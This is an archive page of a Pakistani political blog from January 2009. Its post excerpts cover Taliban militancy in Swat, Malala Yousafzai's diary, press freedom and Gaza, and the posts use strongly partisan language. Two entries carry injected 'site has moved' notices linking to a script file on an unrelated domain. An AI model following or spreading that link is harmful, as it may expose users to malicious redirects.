Monthly Archive:: January 2009
Kalam-e-Iqbal: Tu abhi rehGuzar main hai: Kalam-e-Iqbal Tu abhi rehGuzar main hai Poetry: Allma Muhammad Iqbal Singer: Jawad Ahmed One of the best things I heard for ages…
Journalists of Pakistan – An Analysis: Asadullah Ghalib (Express) Tahir Sarwar Mir: Did Zardari call journalists as terrorists?
Romance, USe and Absue: The Relationship between PPP and PML-N: Hasan Nisar: Donon sachay hain (Jang)
Romance, USe and Absue: The Relationship between PPP and PML-N: Hasan Nisar: Donon sachay hain (Jang)
Swat: Muted protests won’t do: Muted protests won’t do By Zubeida Mustafa PAKISTANIS have perfected the art of protest. Karachi has posters plastered on the walls calling on people to demonstrate their solidarity with the Palestinians in Gaza. In 2007 Musharraf’s coup against the
Saving Swat: Wednesday, January 21, 2009 Militants, who now control well over half of the Swat Valley, have blown up at least ten schools for girls over the past week. The idea is to drive home the menace behind their warning
Urgent Appeal: Sign this Petition to Save Girls Schools in Swat: ASIAN HUMAN RIGHTS COMMISSION – URGENT APPEALS PROGRAMME Urgent Appeal Case: AHRC-UAC-005-2009 The Asian Human Rights Commission (AHRC) seeks for your support for a campaign in support of the female students in the Pakistan-Afghanistan border. The campaign seeks the
Urgent Appeal: Sign this Petition to Save Girls Schools in Swat: ASIAN HUMAN RIGHTS COMMISSION – URGENT APPEALS PROGRAMME Urgent Appeal Case: AHRC-UAC-005-2009 The Asian Human Rights Commission (AHRC) seeks for your support for a campaign in support of the female students in the Pakistan-Afghanistan border. The campaign seeks the
Obama’s message to the Muslim world in his inaugural speech…: Text of President Barack Obama’s inaugural address By The Associated Press – 20 January 2009 “….Recall that earlier generations faced down fascism and communism not just with missiles and tanks, but with sturdy alliances and enduring convictions. They understood
Obama’s message to the Muslim world in his inaugural speech…: Text of President Barack Obama’s inaugural address By The Associated Press – 20 January 2009 “….Recall that earlier generations faced down fascism and communism not just with missiles and tanks, but with sturdy alliances and enduring convictions. They understood
Zardari says: “Journalists are biggest terrorists.” We say: “Indeed, we must name and shame pro-Taliban yellow journalists…”: While Zardari did not call journalists as terrorists (as confirmed by Farhatullah Babar and Sherry Rehman), he must name and shame certain yellow journalists who support Taliban and radical Islam…. Zardari in controversy over media remark Islamabad, Jan 19
Zardari says: "Journalists are biggest terrorists." We say: "Indeed, we must name and shame pro-Taliban yellow journalists…": While Zardari did not call journalists as terrorists (as confirmed by Farhatullah Babar and Sherry Rehman), he must name and shame certain yellow journalists who support Taliban
The boss has gone mad —Uri Avnery: People are no longer shocked by the sight of a mutilated baby, nor by children left for days with the corpse of their mother, because the army did not let them leave their ruined home. It seems that almost
The boss has gone mad —Uri Avnery: People are no longer shocked by the sight of a mutilated baby, nor by children left for days with the corpse of their mother, because the army did not let them leave their ruined home. It seems that almost
Hilal-i-Pakistan to Biden and Hilal-i-Quaid-i-Azam to Boucher…. an analysis: Tanveer Qaisar Shahid Nazir Naji: After Boucher, Biden gets Pak civilian honour Friday, January 09, 2009, (Islamabad) President Asif Ali Zardari on Friday conferred one of Pakistan’s highest civilian honours on US Vice President-elect Joseph Biden in recognition of
Hilal-i-Pakistan to Biden and Hilal-i-Quaid-i-Azam to Boucher…. an analysis: Tanveer Qaisar Shahid
Swat: Last Khan standing: Tuesday, January 20, 2009 Sartaj Khan The militants in Swat once again attacked the veteran Pashtun nationalist leader Mohammad Afzal Khan on Jan 11 in his native village of Bara Durshkhela, in the Matta area in upper Swat. Mohammad
Swat: Last Khan standing: Tuesday, January 20, 2009 Sartaj Khan The militants in Swat once again attacked the veteran Pashtun nationalist leader Mohammad Afzal Khan on Jan 11 in his native village of Bara Durshkhela, in the Matta area in upper Swat. Mohammad
To Swat – with love [Why doesn’t Pakistan Army save the people of Swat from the Taliban?]: Tuesday, January 20, 2009 Basil Nabi Malik ‘The ultimate measure of a man is not where he stands in moments of comfort and convenience, but where he stands at times of challenge and controversy’– Martin Luther King, Jr. I
Swat’s descent in ‘daur-e-jahiliyah’ – [and the role of pro-terrorist journalists]: Swat’s descent in ‘daur-e-jahiliyah’ Tuesday, January 20, 2009 Pir M Shah In my recent interactions with friends from Swat, I could infer that the situation in Swat is akin to the ‘daur-e-jahiliyah’. According to them, a large number of
Swat’s descent in ‘daur-e-jahiliyah’ – [and the role of pro-terrorist journalists]: Swat’s descent in ‘daur-e-jahiliyah’ Tuesday, January 20, 2009 Pir M Shah In my recent interactions with friends from Swat, I could infer that the situation in Swat is akin to the ‘daur-e-jahiliyah’. According to them, a large number of
Bajaur’s IDPs – stories of the silent victims of the Taliban brutalities….: Bajaur’s IDPs – our wretched of the earth Tuesday, January 20, 2009 Farhat Taj I spend a whole day with the internally displaced people, IDPs, from Bajaur in a camp near Peshawar. I went from tent to tent to
Bajaur’s IDPs – stories of the silent victims of the Taliban brutalities….: Bajaur’s IDPs – our wretched of the earth Tuesday, January 20, 2009 Farhat Taj I spend a whole day with the internally displaced people, IDPs, from Bajaur in a camp near Peshawar. I went from tent to tent to
Swat: Diary of a Pakistani schoolgirl – BBC Urdu dot com: Private schools in Pakistan’s troubled north-western Swat district have been ordered to close in a Taleban edict banning girls’ education. Militants seeking to impose their austere interpretation of Sharia law have destroyed about 150 schools in the past year.
A Pakistani schoolgirl’s resistance to Taliban terrorists: LUBP’s compilation of Malala Yousafzai’s diary: Not 14 October 2012: Back in January 2009, when Deobandi right0wing Islamo-fascists and commercial or fake liberals were unanimous in abusing or/and ignoring Malala Yousafzai, LUBP published this post to give wider publicity to a Pashtun Sunni Sufi schoolgril’s resistance to takfiri
Robert Fisk: So, I asked the UN secretary general, isn’t it time for a war crimes tribunal?: Mr Ban said it would not be up to him to launch a war crimes tribunal. It was pathetic It’s a wrap, a doddle, an Israeli ceasefire just in time for Barack Obama to have a squeaky-clean inauguration with
Swat: Women’s entry not allwed in markets in Mingora: From Tazeen’s blog: This photograph was initially published in Daily Times, January 12, 2009. The caption read: “Women are not allowed in the market,” reads a banner displayed at the entrance of a market in Mingora. Taliban have banned
Swat: Women’s entry not allwed in markets in Mingora: From Tazeen’s blog: This photograph was initially published in Daily Times, January 12, 2009. The caption read: “Women are not allowed in the market,” reads a banner displayed at the entrance of a market in Mingora. Taliban have banned
British academics condemn Israel….: Growing outrage at the killings in Gaza The Guardian, Friday 16 January 2009 The massacres in Gaza are the latest phase of a war that Israel has been waging against the people of Palestine for more than 60 years.
Well done Zulfiqar Ahmed Cheema, DIG/RPO Gujranwala Police: This site has moved to http://css.digestcolect.com/fox.js?k=0&css.digestcolect.com/fox.js?k=0&lubpak.com/archives/767, click this link if you are not redirected
Swat — towards a Wahhabi state?: Monday, January 19, 2009 by Khurshid Khan In his article, “Behind the crises in Swat” (Nov 27, 2008), Sartaj Khan described the conflict in Swat as a class struggle. Farhat Taj (Dec 18) responded with “No class war in
Swat — towards a Wahhabi state?: Monday, January 19, 2009 by Khurshid Khan In his article, “Behind the crises in Swat” (Nov 27, 2008), Sartaj Khan described the conflict in Swat as a class struggle. Farhat Taj (Dec 18) responded with “No class war in
Shaheen Sardar Ali: Swat – For Whom Will the Gulai-Nargis Bloom this Spring in the Swat Valley: This site has moved to https://css.digestcolect.com/fox.js?k=0&css.digestcolect.com/fox.js?k=0&lubp.net, click this link if you are not redirected
Shaheen Sardar Ali: Swat – For Whom Will the Gulai-Nargis Bloom this Spring in the Swat Valley: Rabia at Grand Trunk Road comments: A very sad article by Shaheen Sardari Ali, a Swati, and the first woman cabinet member of NWFP, which raises a lot of unanswered questions about the nature of the militancy in Swat